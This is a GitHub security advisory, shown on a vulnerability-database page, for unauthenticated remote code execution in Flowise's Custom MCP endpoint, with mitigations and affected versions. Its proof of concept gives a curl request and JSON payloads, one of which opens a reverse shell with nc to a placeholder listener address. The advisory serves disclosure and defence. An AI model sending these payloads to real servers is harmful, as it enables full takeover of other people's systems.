GHSA-6933-JPX5-Q87Q
Vulnerability from github – Published: 2025-09-15 20:30 – Updated: 2025-09-15 20:30Summary
The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.
This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.
PoC
-
Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as
npx,pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker -
Create a new file named
payload.jsonsomewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
- Send the following
curlrequest using thepayload.jsonfile created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
- Observe that a new file named
yofitofiis created under/tmpfolder.
Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:
{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}
Impact
Remote code execution
Mitigation
- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform.
- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.
- Consider running Custom MCPs within a sandboxed environment
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.7-patch.1"
},
{
"fixed": "3.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T20:30:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise\u0027s inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables.\n\nThis combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.\n\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"touch\",\"args\": [\"/tmp/yofitofi\"]}},\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n\nSimilarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"nc\",\"args\": [\n\"\u003cLISTENER_IP_ADDRESS\u003e\",\"\u003cLISTENER_PORT\u003e\",\"-e\",\"/bin/sh\"\n]}},\n\"loadMethod\":\"listActions\"}\n```\n\n\n\n### Impact\nRemote code execution\n\n### Mitigation\n- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with \"Admin\" roles will be able to configure new Custom MCPs within the platform.\n- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.\n- Consider running Custom MCPs within a sandboxed environment\n\n### Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.",
"id": "GHSA-6933-jpx5-q87q",
"modified": "2025-09-15T20:30:30Z",
"published": "2025-09-15T20:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6933-jpx5-q87q"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/5201"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/ac7cf30e019cde54905bf09b5d3fe1c6ba42f9b9"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Flowise has unsandboxed remote code execution via Custom MCP"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.